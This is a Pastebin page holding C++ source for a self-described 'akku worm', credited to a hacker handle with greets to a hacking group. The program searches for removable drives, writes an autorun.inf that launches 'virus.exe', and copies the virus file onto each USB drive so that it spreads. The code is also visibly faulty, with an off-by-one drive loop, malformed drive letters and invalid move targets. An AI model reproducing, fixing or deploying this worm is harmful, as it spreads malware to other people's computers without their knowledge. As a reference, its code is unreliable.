Guest User

Untitled

a guest
Dec 17th, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.83 KB | None | 0 0
  1. // akku worm
  2. // this worm is capable of copying it self to USB drives
  3. // Greets to "vinnu" and Hackers Garage
  4. // prashant a.k.a t3rm!n4t0r
  5.  
  6.  
  7.  
  8. #include <iostream>
  9.  
  10. #include <windows.h>
  11.  
  12. #include <fstream.h>
  13.  
  14.  
  15.  
  16. #define VirusName "virus.exe"
  17.  
  18. int main()
  19. {
  20.  
  21.  
  22. char *drives[] = {"A:","B:","C:","D:","E","F:","G:","H:","I:","J:","K:","L:",
  23. "M:","N:","O:","P:","Q:","R:","S:","T:","U:","V:","W:","Y:","Z:"};
  24.  
  25. for(int i=0; i !=26; i++)
  26. {
  27. if((GetDriveType(drives[i])) == DRIVE_REMOVABLE)
  28. {
  29.  
  30.  
  31. CreateFile("autorun.inf",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
  32.  
  33.  
  34. ofstream file ("autorun.inf");
  35.  
  36. file << "[autorun] \n";
  37. file << "open=" << VirusName << "\n";
  38.  
  39.  
  40.  
  41.  
  42. CopyFile("C:\\our_virus.exe",VirusName,TRUE);
  43.  
  44. MoveFile("autorun.inf",drives[i]);
  45.  
  46. MoveFile(VirusName,drives[i]);
  47.  
  48.  
  49. }
  50. }
  51.  
  52. return 0;
  53. }
Add Comment
Please, Sign In to add comment